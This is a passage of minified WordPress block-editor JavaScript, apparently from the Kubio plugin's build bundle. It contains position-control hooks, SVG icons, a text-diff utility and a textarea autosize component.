C(){let{name:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const t=Object(m.a)("position.fixed"),n=Object(m.a)("position.sticky"),o=!t&&!n;return r=e,!Object(a.getBlockSupport)(r,v)||o;var r}function w(e){var t;const{attributes:{style:n={}},clientId:o,name:l,setAttributes:c}=e,u=function(e){const t=Object(a.getBlockSupport)(e,v);return!!(!0===t||null!=t&&t.fixed)}(l),b=function(e){const t=Object(a.getBlockSupport)(e,v);return!!(!0===t||null!=t&&t.sticky)}(l),p=null==n||null===(t=n.position)||void 0===t?void 0:t.type,{hasParents:m}=Object(d.useSelect)((e=>{const{getBlockParents:t}=e(h.a);return{hasParents:t(o).length}}),[o]),O=Object(r.useMemo)((()=>{const e=[k];return(b&&!m||p===j.value)&&e.push(j),(u||p===_.value)&&e.push(_),e}),[u,b,m,p]),y=p&&O.find((e=>e.value===p))||k;return r.Platform.select({web:O.length>1?Object(r.createElement)(f.b,{group:"position"},Object(r.createElement)(s.BaseControl,{className:"block-editor-hooks__position-selection"},Object(r.createElement)(s.CustomSelectControl,{__nextUnconstrainedWidth:!0,__next36pxDefaultSize:!0,className:"block-editor-hooks__position-selection__select-control",label:Object(i.__)("Position","kubio"),hideLabelFromVision:!0,describedBy:Object(i.sprintf)(// translators: %s: Currently selected position.
Object(i.__)("Currently selected position: %s","kubio"),y.name),options:O,value:y,__experimentalShowSelectedHint:!0,onChange:e=>{let{selectedItem:t}=e;(e=>{const t={...n,position:{...null==n?void 0:n.position,type:e,top:"sticky"===e||"fixed"===e?"0px":void 0}};c({style:Object(g.a)(t)})})(t.value)},size:"__unstable-large"}))):null,native:null})}const B=Object(u.createHigherOrderComponent)((e=>t=>{const{name:n}=t;return[Object(a.hasBlockSupport)(n,v)&&!C(t)&&Object(r.createElement)(w,Object(o.a)({key:"position"},t)),Object(r.createElement)(e,Object(o.a)({key:"edit"},t))]}),"withInspectorControls"),I=Object(u.createHigherOrderComponent)((e=>t=>{var n,l,i,s;const{name:d,attributes:b}=t,m=Object(a.hasBlockSupport)(d,v)&&!C(t),f=Object(u.useInstanceId)(e),g=Object(r.useContext)(p.c.__unstableElementContext);let h;m&&(h=function(e){let{selector:t,style:n}=e,o="";const{type:r}=(null==n?void 0:n.position)||{};return E.includes(r)?(o+=`${t} {`,o+=`position: ${r};`,y.forEach((e=>{var t;void 0!==(null==n||null===(t=n.position)||void 0===t?void 0:t[e])&&(o+=`${e}: ${n.position[e]};`)})),"sticky"!==r&&"fixed"!==r||(o+="z-index: 10"),o+="}",o):o}({selector:`.wp-container-${f}.wp-container-${f}`,style:null==b?void 0:b.style})||"");const O=c()(null==t?void 0:t.className,{[`wp-container-${f}`]:m&&!!h,[`is-position-${null==b||null===(n=b.style)||void 0===n||null===(l=n.position)||void 0===l?void 0:l.type}`]:m&&!!h&&!(null==b||null===(i=b.style)||void 0===i||null===(s=i.position)||void 0===s||!s.type)});return Object(r.createElement)(r.Fragment,null,m&&g&&!!h&&Object(r.createPortal)(Object(r.createElement)("style",null,h),g),Object(r.createElement)(e,Object(o.a)({},t,{className:O})))}));Object(b.addFilter)("editor.BlockListBlock","core/editor/position/with-position-styles",I),Object(b.addFilter)("editor.BlockEdit","core/editor/position/with-inspector-controls",B)},,,function(e,t,n){"use strict";(function(e){n.d(t,"a",(function(){return u}));var o=n(0),r=n(2),l=n(3),c=n(48),i=n.n(c),a=(n(246),n(171)),s=n(129);function u(t){var n;let{children:c,group:u="default",__experimentalGroup:d}=t;d&&(i()("`__experimentalGroup` property in `InspectorControlsFill`",{since:"6.2",version:"6.4",alternative:"`group`"}),u=d);const b=Object(a.a)(),p=null===(n=s.a[u])||void 0===n?void 0:n.Fill;return p?b?Object(o.createElement)(l.__experimentalStyleProvider,{document:document},Object(o.createElement)(p,null,(e=>{const t=Object(r.isEmpty)(e)?null:e;return Object(o.createElement)(l.__experimentalToolsPanelContext.Provider,{value:t},c)}))):null:(void 0!==e&&e.env,null)}}).call(this,n(154))},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M19 8h-1V6h-5v2h-2V6H6v2H5c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2v-8c0-1.1-.9-2-2-2zm.5 10c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-8c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v8z"}));t.a=l},function(e,t){!function(){e.exports=this.wp.escapeHtml}()},,,,,,,function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M15.6 7.2H14v1.5h1.6c2 0 3.7 1.7 3.7 3.7s-1.7 3.7-3.7 3.7H14v1.5h1.6c2.8 0 5.2-2.3 5.2-5.2 0-2.9-2.3-5.2-5.2-5.2zM4.7 12.4c0-2 1.7-3.7 3.7-3.7H10V7.2H8.4c-2.9 0-5.2 2.3-5.2 5.2 0 2.9 2.3 5.2 5.2 5.2H10v-1.5H8.4c-2 0-3.7-1.7-3.7-3.7zm4.6.9h5.3v-1.5H9.3v1.5z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M10.6 6L9.4 7l4.6 5-4.6 5 1.2 1 5.4-6z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M14.6 7l-1.2-1L8 12l5.4 6 1.2-1-4.6-5z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(o.createElement)(r.Path,{d:"M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z"}));t.a=l},function(e,t){},function(e,t){},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"}));t.a=l},,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){"use strict";var o=n(0),r=n(5),l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M20.1 5.1L16.9 2 6.2 12.7l-1.3 4.4 4.5-1.3L20.1 5.1zM4 20.8h8v-1.5H4v1.5z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M11 13h2v-2h-2v2zm-6 0h2v-2H5v2zm12-2v2h2v-2h-2z"}));t.a=l},function(e,t,n){"use strict";var o;Object.defineProperty(t,"__esModule",{value:!0}),t.diffChars=function(e,t,n){return r.diff(e,t,n)},t.characterDiff=void 0;var r=new(((o=n(415))&&o.__esModule?o:{default:o}).default);t.characterDiff=r},function(e,t,n){"use strict";n.d(t,"a",(function(){return a}));var o=n(13),r=n.n(o),l=n(7),c=n(12),i=n(14);function a(e){return Object(l.useSelect)((t=>{const{isBlockBeingDragged:n,isBlockHighlighted:o,isBlockSelected:l,isBlockMultiSelected:a,getBlockName:s,getSettings:u,hasSelectedInnerBlock:d,isTyping:b,__unstableIsFullySelected:p,__unstableSelectionHasUnmergeableBlock:m}=t(i.a),{outlineMode:f}=u(),g=n(e),h=l(e),v=s(e),O=d(e,!0),k=a(e);return r()({"is-selected":h,"is-highlighted":o(e),"is-multi-selected":k,"is-partially-selected":k&&!p()&&!m(),"is-reusable":Object(c.isReusableBlock)(Object(c.getBlockType)(v)),"is-dragging":g,"has-child-selected":O,"remove-outline":h&&f&&b()})}),[e])}},function(e,t,n){"use strict";n.d(t,"a",(function(){return c}));var o=n(7),r=n(12),l=n(14);function c(e){return Object(o.useSelect)((t=>{const{getBlockName:n,getBlockAttributes:o}=t(l.a),c=o(e);if(null==c||!c.className)return;const i=Object(r.getBlockType)(n(e));return(null==i?void 0:i.apiVersion)>1?c.className:void 0}),[e])}},function(e,t,n){"use strict";n.d(t,"a",(function(){return c}));var o=n(7),r=n(12),l=n(14);function c(e){return Object(o.useSelect)((t=>{const n=t(l.a).getBlockName(e),o=Object(r.getBlockType)(n);if((null==o?void 0:o.apiVersion)>1)return Object(r.getBlockDefaultClassName)(n)}),[e])}},function(e,t,n){"use strict";n.d(t,"a",(function(){return i}));var o=n(13),r=n.n(o),l=n(7),c=n(14);function i(e){return Object(l.useSelect)((t=>{const{hasBlockMovingClientId:n,canInsertBlockType:o,getBlockName:l,getBlockRootClientId:i,isBlockSelected:a}=t(c.a);if(!a(e))return;const s=n();return s?r()("is-block-moving-mode",{"can-insert-moving-block":o(l(s),i(e))}):void 0}),[e])}},function(e,t,n){"use strict";n.d(t,"a",(function(){return a}));var o=n(0),r=n(42),l=n(7),c=n(110),i=n(14);function a(e){const t=Object(o.useRef)(),n=function(e){return Object(l.useSelect)((t=>{const{getSelectedBlocksInitialCaretPosition:n,__unstableGetEditorMode:o,isBlockSelected:r}=t(i.a);if(r(e)&&"edit"===o())return n()}),[e])}(e),{isBlockSelected:a,isMultiSelecting:s}=Object(l.useSelect)(i.a);return Object(o.useEffect)((()=>{if(!a(e)||s())return;if(null==n)return;if(!t.current)return;const{ownerDocument:o}=t.current;if(Object(c.c)(t.current,o.activeElement))return;const l=r.focus.tabbable.find(t.current).filter((e=>Object(r.isTextField)(e))),i=l[-1===n?l.length-1:0]||t.current;if(Object(c.c)(t.current,i)){if(!t.current.getAttribute("contenteditable")){const e=r.focus.tabbable.findNext(t.current);e&&Object(c.c)(t.current,e)&&Object(r.isFormElement)(e)&&e.focus()}}else t.current.focus()}),[n,e]),t}},function(e,t,n){"use strict";n.d(t,"a",(function(){return i}));var o=n(7),r=n(11),l=n(110),c=n(14);function i(e){const{isBlockSelected:t}=Object(o.useSelect)(c.a),{selectBlock:n,selectionChange:i}=Object(o.useDispatch)(c.a);return Object(r.useRefEffect)((o=>{function r(r){o.parentElement.closest('[contenteditable="true"]')||(t(e)?r.target.isContentEditable||i(e):Object(l.c)(o,r.target)&&n(e))}return o.addEventListener("focusin",r),()=>{o.removeEventListener("focusin",r)}}),[t,n])}},function(e,t,n){"use strict";n.d(t,"a",(function(){return c}));var o=n(11),r=n(0),l=n(70);function c(){const e=Object(r.useContext)(l.b);return Object(o.useRefEffect)((t=>{if(e)return e.observe(t),()=>{e.unobserve(t)}}),[e])}},function(e,t,n){"use strict";n.d(t,"a",(function(){return i}));var o=n(11),r=n(7),l=n(14);function c(e){if(e.defaultPrevented)return;const t="mouseover"===e.type?"add":"remove";e.preventDefault(),e.currentTarget.classList[t]("is-hovered")}function i(){const e=Object(r.useSelect)((e=>{const{getSettings:t}=e(l.a);return t().outlineMode}),[]);return Object(o.useRefEffect)((t=>{if(e)return t.addEventListener("mouseout",c),t.addEventListener("mouseover",c),()=>{t.removeEventListener("mouseout",c),t.removeEventListener("mouseover",c),t.classList.remove("is-hovered")}}),[e])}},function(e,t,n){"use strict";n.d(t,"a",(function(){return l}));var o=n(0);const r=e=>({top:e.offsetTop,left:e.offsetLeft});function l(e){let{adjustScrolling:t,triggerAnimationOnChange:n}=e;const l=Object(o.useRef)(),c=Object(o.useMemo)((()=>l.current?r(l.current):null),[n]),i=Object(o.useMemo)((()=>{if(!t||!l.current)return()=>{};const e=l.current.ownerDocument.defaultView;if(!e)return()=>{};let n=l.current.getBoundingClientRect().top;return()=>{const t=l.current.getBoundingClientRect().top,o=t-n;o&&(n=t,e.scrollBy(0,o))}}),[n,t]);return Object(o.useLayoutEffect)((()=>{c&&i()}),[n]),l}},function(e,t,n){"use strict";n.d(t,"a",(function(){return c}));var o=n(7),r=n(11),l=n(14);function c(e){const{isNavigationMode:t,isBlockSelected:n}=Object(o.useSelect)(l.a),{setNavigationMode:c,selectBlock:i}=Object(o.useDispatch)(l.a);return Object(r.useRefEffect)((o=>{function r(o){t()&&!o.defaultPrevented&&(o.preventDefault(),n(e)?c(!1):i(e))}return o.addEventListener("mousedown",r),()=>{o.addEventListener("mousedown",r)}}),[e,t,n,c])}},function(e,t,n){"use strict";n.d(t,"a",(function(){return a}));var o=n(42),r=n(27),l=n(7),c=n(11),i=n(14);function a(e){const t=Object(l.useSelect)((t=>t(i.a).isBlockSelected(e)),[e]),{getBlockRootClientId:n,getBlockIndex:a}=Object(l.useSelect)(i.a),{insertDefaultBlock:s,removeBlock:u}=Object(l.useDispatch)(i.a);return Object(c.useRefEffect)((l=>{if(t)return l.addEventListener("keydown",c),l.addEventListener("dragstart",i),()=>{l.removeEventListener("keydown",c),l.removeEventListener("dragstart",i)};function c(t){const{keyCode:c,target:i}=t;c!==r.ENTER&&c!==r.BACKSPACE&&c!==r.DELETE||i!==l||Object(o.isTextField)(i)||(t.preventDefault(),c===r.ENTER?s({},n(e),a(e)+1):u(e))}function i(e){e.preventDefault()}}),[e,t,n,a,s,u])}},function(e,t,n){"use strict";function o(e){return Object.prototype.toString.call(e)}var r=Array.isArray||function(e){return"[object Array]"===Object.prototype.toString.call(e)};function l(e,t){if(e.forEach)return e.forEach(t);for(var n=0;n<e.length;n++)t(e[n],n,e)}var c=Object.keys||function(e){var t=[];for(var n in e)t.push(n);return t},i=Object.prototype.hasOwnProperty||function(e,t){return t in e};function a(e){if("object"==typeof e&&null!==e){var t;if(r(e))t=[];else if("[object Date]"===o(e))t=new Date(e.getTime?e.getTime():e);else if("[object RegExp]"===o(e))t=new RegExp(e);else if(function(e){return"[object Error]"===o(e)}(e))t={message:e.message};else if(function(e){return"[object Boolean]"===o(e)}(e)||function(e){return"[object Number]"===o(e)}(e)||function(e){return"[object String]"===o(e)}(e))t=Object(e);else if(Object.create&&Object.getPrototypeOf)t=Object.create(Object.getPrototypeOf(e));else if(e.constructor===Object)t={};else{var n=e.constructor&&e.constructor.prototype||e.__proto__||{},i=function(){};i.prototype=n,t=new i}return l(c(e),(function(n){t[n]=e[n]})),t}return e}function s(e,t,n){var o=[],s=[],u=!0;return function e(d){var b=n?a(d):d,p={},m=!0,f={node:b,node_:d,path:[].concat(o),parent:s[s.length-1],parents:s,key:o[o.length-1],isRoot:0===o.length,level:o.length,circular:null,update:function(e,t){f.isRoot||(f.parent.node[f.key]=e),f.node=e,t&&(m=!1)},delete:function(e){delete f.parent.node[f.key],e&&(m=!1)},remove:function(e){r(f.parent.node)?f.parent.node.splice(f.key,1):delete f.parent.node[f.key],e&&(m=!1)},keys:null,before:function(e){p.before=e},after:function(e){p.after=e},pre:function(e){p.pre=e},post:function(e){p.post=e},stop:function(){u=!1},block:function(){m=!1}};if(!u)return f;function g(){if("object"==typeof f.node&&null!==f.node){f.keys&&f.node_===f.node||(f.keys=c(f.node)),f.isLeaf=0===f.keys.length;for(var e=0;e<s.length;e++)if(s[e].node_===d){f.circular=s[e];break}}else f.isLeaf=!0,f.keys=null;f.notLeaf=!f.isLeaf,f.notRoot=!f.isRoot}g();var h=t.call(f,f.node);return void 0!==h&&f.update&&f.update(h),p.before&&p.before.call(f,f.node),m?("object"!=typeof f.node||null===f.node||f.circular||(s.push(f),g(),l(f.keys,(function(t,r){o.push(t),p.pre&&p.pre.call(f,f.node[t],t);var l=e(f.node[t]);n&&i.call(f.node,t)&&(f.node[t]=l.node),l.isLast=r===f.keys.length-1,l.isFirst=0===r,p.post&&p.post.call(f,l),o.pop()})),s.pop()),p.after&&p.after.call(f,f.node),f):f}(e).node}function u(e){this.value=e}function d(e){return new u(e)}u.prototype.get=function(e){for(var t=this.value,n=0;n<e.length;n++){var o=e[n];if(!t||!i.call(t,o))return;t=t[o]}return t},u.prototype.has=function(e){for(var t=this.value,n=0;n<e.length;n++){var o=e[n];if(!t||!i.call(t,o))return!1;t=t[o]}return!0},u.prototype.set=function(e,t){for(var n=this.value,o=0;o<e.length-1;o++){var r=e[o];i.call(n,r)||(n[r]={}),n=n[r]}return n[e[o]]=t,t},u.prototype.map=function(e){return s(this.value,e,!0)},u.prototype.forEach=function(e){return this.value=s(this.value,e,!1),this.value},u.prototype.reduce=function(e,t){var n=1===arguments.length,o=n?this.value:t;return this.forEach((function(t){this.isRoot&&n||(o=e.call(this,o,t))})),o},u.prototype.paths=function(){var e=[];return this.forEach((function(){e.push(this.path)})),e},u.prototype.nodes=function(){var e=[];return this.forEach((function(){e.push(this.node)})),e},u.prototype.clone=function(){var e=[],t=[];return function n(o){for(var r=0;r<e.length;r++)if(e[r]===o)return t[r];if("object"==typeof o&&null!==o){var i=a(o);return e.push(o),t.push(i),l(c(o),(function(e){i[e]=n(o[e])})),e.pop(),t.pop(),i}return o}(this.value)},l(c(u.prototype),(function(e){d[e]=function(t){var n=[].slice.call(arguments,1),o=new u(t);return o[e].apply(o,n)}})),e.exports=d},function(e,t){!function(){e.exports=this.wp.wordcount}()},,,,,,,,,,,,,,,,,,,,,,,,,,,function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M15.6 7.3h-.7l1.6-3.5-.9-.4-3.9 8.5H9v1.5h2l-1.3 2.8H8.4c-2 0-3.7-1.7-3.7-3.7s1.7-3.7 3.7-3.7H10V7.3H8.4c-2.9 0-5.2 2.3-5.2 5.2 0 2.9 2.3 5.2 5.2 5.2H9l-1.4 3.2.9.4 5.7-12.5h1.4c2 0 3.7 1.7 3.7 3.7s-1.7 3.7-3.7 3.7H14v1.5h1.6c2.9 0 5.2-2.3 5.2-5.2 0-2.9-2.4-5.2-5.2-5.2z"}));t.a=l},function(e,t,n){"use strict";function o(){}function r(e,t,n,o,r){for(var l=0,c=t.length,i=0,a=0;l<c;l++){var s=t[l];if(s.removed){if(s.value=e.join(o.slice(a,a+s.count)),a+=s.count,l&&t[l-1].added){var u=t[l-1];t[l-1]=t[l],t[l]=u}}else{if(!s.added&&r){var d=n.slice(i,i+s.count);d=d.map((function(e,t){var n=o[a+t];return n.length>e.length?n:e})),s.value=e.join(d)}else s.value=e.join(n.slice(i,i+s.count));i+=s.count,s.added||(a+=s.count)}}var b=t[c-1];return c>1&&"string"==typeof b.value&&(b.added||b.removed)&&e.equals("",b.value)&&(t[c-2].value+=b.value,t.pop()),t}Object.defineProperty(t,"__esModule",{value:!0}),t.default=o,o.prototype={diff:function(e,t){var n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{},o=n.callback;"function"==typeof n&&(o=n,n={}),this.options=n;var l=this;function c(e){return o?(setTimeout((function(){o(void 0,e)}),0),!0):e}e=this.castInput(e),t=this.castInput(t),e=this.removeEmpty(this.tokenize(e));var i=(t=this.removeEmpty(this.tokenize(t))).length,a=e.length,s=1,u=i+a,d=[{newPos:-1,components:[]}],b=this.extractCommon(d[0],t,e,0);if(d[0].newPos+1>=i&&b+1>=a)return c([{value:this.join(t),count:t.length}]);function p(){for(var n=-1*s;n<=s;n+=2){var o=void 0,u=d[n-1],b=d[n+1],p=(b?b.newPos:0)-n;u&&(d[n-1]=void 0);var m=u&&u.newPos+1<i,f=b&&0<=p&&p<a;if(m||f){if(!m||f&&u.newPos<b.newPos?(o={newPos:(g=b).newPos,components:g.components.slice(0)},l.pushComponent(o.components,void 0,!0)):((o=u).newPos++,l.pushComponent(o.components,!0,void 0)),p=l.extractCommon(o,t,e,n),o.newPos+1>=i&&p+1>=a)return c(r(l,o.components,t,e,l.useLongestToken));d[n]=o}else d[n]=void 0}var g;s++}if(o)!function e(){setTimeout((function(){if(s>u)return o();p()||e()}),0)}();else for(;s<=u;){var m=p();if(m)return m}},pushComponent:function(e,t,n){var o=e[e.length-1];o&&o.added===t&&o.removed===n?e[e.length-1]={count:o.count+1,added:t,removed:n}:e.push({count:1,added:t,removed:n})},extractCommon:function(e,t,n,o){for(var r=t.length,l=n.length,c=e.newPos,i=c-o,a=0;c+1<r&&i+1<l&&this.equals(t[c+1],n[i+1]);)c++,i++,a++;return a&&e.components.push({count:a}),e.newPos=c,i},equals:function(e,t){return this.options.comparator?this.options.comparator(e,t):e===t||this.options.ignoreCase&&e.toLowerCase()===t.toLowerCase()},removeEmpty:function(e){for(var t=[],n=0;n<e.length;n++)e[n]&&t.push(e[n]);return t},castInput:function(e){return e},tokenize:function(e){return e.split("")},join:function(e){return e.join("")}}},function(e,t,n){"use strict";var o,r=this&&this.__extends||(o=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function __(){this.constructor=e}o(e,t),e.prototype=null===t?Object.create(t):(__.prototype=t.prototype,new __)}),l=this&&this.__assign||Object.assign||function(e){for(var t,n=1,o=arguments.length;n<o;n++)for(var r in t=arguments[n])Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e},c=this&&this.__rest||function(e,t){var n={};for(var o in e)Object.prototype.hasOwnProperty.call(e,o)&&t.indexOf(o)<0&&(n[o]=e[o]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var r=0;for(o=Object.getOwnPropertySymbols(e);r<o.length;r++)t.indexOf(o[r])<0&&(n[o[r]]=e[o[r]])}return n};t.__esModule=!0;var i=n(10),a=n(18),s=n(417),u=n(418),d="autosize:resized",b=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.state={lineHeight:null},t.textarea=null,t.onResize=function(e){t.props.onResize&&t.props.onResize(e)},t.updateLineHeight=function(){t.textarea&&t.setState({lineHeight:u(t.textarea)})},t.onChange=function(e){var n=t.props.onChange;t.currentValue=e.currentTarget.value,n&&n(e)},t}return r(t,e),t.prototype.componentDidMount=function(){var e=this,t=this.props,n=t.maxRows,o=t.async;"number"==typeof n&&this.updateLineHeight(),"number"==typeof n||o?setTimeout((function(){return e.textarea&&s(e.textarea)})):this.textarea&&s(this.textarea),this.textarea&&this.textarea.addEventListener(d,this.onResize)},t.prototype.componentWillUnmount=function(){this.textarea&&(this.textarea.removeEventListener(d,this.onResize),s.destroy(this.textarea))},t.prototype.render=function(){var e=this,t=this.props,n=(t.onResize,t.maxRows),o=(t.onChange,t.style),r=(t.innerRef,t.children),a=c(t,["onResize","maxRows","onChange","style","innerRef","children"]),s=this.state.lineHeight,u=n&&s?s*n:null;return i.createElement("textarea",l({},a,{onChange:this.onChange,style:u?l({},o,{maxHeight:u}):o,ref:function(t){e.textarea=t,"function"==typeof e.props.innerRef?e.props.innerRef(t):e.props.innerRef&&(e.props.innerRef.current=t)}}),r)},t.prototype.componentDidUpdate=function(){this.textarea&&s.update(this.textarea)},t.defaultProps={rows:1,async:!1},t.propTypes={rows:a.number,maxRows:a.number,onResize:a.func,innerRef:a.any,async:a.bool},t}(i.Component);t.TextareaAutosize=i.forwardRef((function(e,t){return i.createElement(b,l({},e,{innerRef:t}))}))},function(e,t,n){var o,r;o=function(e,t){"use strict";var n,o,r="function"==typeof Map?new Map:(n=[],o=[],{has:function(e){return n.indexOf(e)>-1},get:function(e){return o[n.indexOf(e)]},set:function(e,t){-1===n.indexOf(e)&&(n.push(e),o.push(t))},delete:function(e){var t=n.indexOf(e);t>-1&&(n.splice(t,1),o.splice(t,1))}}),l=function(e){return new Event(e,{bubbles:!0})};try{new Event("test")}catch(e){l=function(e){var t=document.createEvent("Event");return t.initEvent(e,!0,!1),t}}function c(e){if(e&&e.nodeName&&"TEXTAREA"===e.nodeName&&!r.has(e)){var t=null,n=null,o=null,c=function(){e.clientWidth!==n&&d()},i=function(t){window.removeEventListener("resize",c,!1),e.removeEventListener("input",d,!1),e.removeEventListener("keyup",d,!1),e.removeEventListener("autosize:destroy",i,!1),e.removeEventListener("autosize:update",d,!1),Object.keys(t).forEach((function(n){e.style[n]=t[n]})),r.delete(e)}.bind(e,{height:e.style.height,resize:e.style.resize,overflowY:e.style.overflowY,overflowX:e.style.overflowX,wordWrap:e.style.wordWrap});e.addEventListener("autosize:destroy",i,!1),"onpropertychange"in e&&"oninput"in e&&e.addEventListener("keyup",d,!1),window.addEventListener("resize",c,!1),e.addEventListener("input",d,!1),e.addEventListener("autosize:update",d,!1),e.style.overflowX="hidden",e.style.wordWrap="break-word",r.set(e,{destroy:i,update:d}),"vertical"===(a=window.getComputedStyle(e,null)).resize?e.style.resize="none":"both"===a.resize&&(e.style.resize="horizontal"),t="content-box"===a.boxSizing?-(parseFloat(a.paddingTop)+parseFloat(a.paddingBottom)):parseFloat(a.borderTopWidth)+parseFloat(a.borderBottomWidth),isNaN(t)&&(t=0),d()}var a;function s(t){var n=e.style.width;e.style.width="0px",e.offsetWidth,e.style.width=n,e.style.overflowY=t}function u(){if(0!==e.scrollHeight){var o=function(e){for(var t=[];e&&e.parentNode&&e.parentNode instanceof Element;)e.parentNode.scrollTop&&t.push({node:e.parentNode,scrollTop:e.parentNode.scrollTop}),e=e.parentNode;return t}(e),r=document.documentElement&&document.documentElement.scrollTop;e.style.height="",e.style.height=e.scrollHeight+t+"px",n=e.clientWidth,o.forEach((function(e){e.node.scrollTop=e.scrollTop})),r&&(document.documentElement.scrollTop=r)}}function d(){u();var t=Math.round(parseFloat(e.style.height)),n=window.getComputedStyle(e,null),r="content-box"===n.boxSizing?Math.round(parseFloat(n.height)):e.offsetHeight;if(r<t?"hidden"===n.overflowY&&(s("scroll"),u(),r="content-box"===n.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight):"hidden"!==n.overflowY&&(s("hidden"),u(),r="content-box"===n.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight),o!==r){o=r;var c=l("autosize:resized");try{e.dispatchEvent(c)}catch(e){}}}}function i(e){var t=r.get(e);t&&t.destroy()}function a(e){var t=r.get(e);t&&t.update()}var s=null;"undefined"==typeof window||"function"!=typeof window.getComputedStyle?((s=function(e){return e}).destroy=function(e){return e},s.update=function(e){return e}):((s=function(e,t){return e&&Array.prototype.forEach.call(e.length?e:[e],(function(e){return c(e)})),e}).destroy=function(e){return e&&Array.prototype.forEach.call(e.length?e:[e],i),e},s.update=function(e){return e&&Array.prototype.forEach.call(e.length?e:[e],a),e}),t.default=s,e.exports=t.default},void 0===(r=o.apply(t,[e,t]))||(e.exports=r)},function(e,t,n){var o=n(419);e.exports=function(e){var t=o(e,"line-height"),n=parseFloat(t,10);if(t===n+""){var r=e.style.lineHeight;e.style.lineHeight=t+"em",t=o(e,"line-height"),n=parseFloat(t,10),r?e.style.lineHeight=r:delete e.style.lineHeight}if(-1!==t.indexOf("pt")?(n*=4,n/=3):-1!==t.indexOf("mm")?(n*=96,n/=25.4):-1!==t.indexOf("cm")?(n*=96,n/=2.54):-1!==t.indexOf("in")?n*=96:-1!==t.indexOf("pc")&&(n*=16),n=Math.round(n),"normal"===t){var l=e.nodeName,c=document.createElement(l);c.innerHTML=" ","TEXTAREA"===l.toUpperCase()&&c.setAttribute("rows","1");var i=o(e,"font-size");c.style.fontSize=i,c.style.padding="0px",c.style.border="0px";var a=document.body;a.appendChild(c),n=c.offsetHeight,a.removeChild(c)}return n}},function(e,t){e.exports=function(e,t,n){return((n=window.getComputedStyle)?n(e):e.currentStyle)[t.replace(/-(\w)/gi,(function(e,t){return t.toUpperCase()}))]}},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M5 9v6h14V9H5zm11-4.8H8v1.5h8V4.2zM8 19.8h8v-1.5H8v1.5z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(o.createElement)(r.Path,{d:"M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},Object(o.createElement)(r.Path,{d:"M13 19h-2v-2h2v2zm0-6h-2v-2h2v2zm0-6h-2V5h2v2z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const l=Object(o.createElement)(r.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},Object(o.createElement)(r.Path,{d:"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12zM7 11h2V9H7v2zm0 4h2v-2H7v2zm3-4h7V9h-7v2zm0 4h7v-2h-7v2z"}));t.a=l},function(e,t,n){"use strict";var o=n(0),r=n(5);const 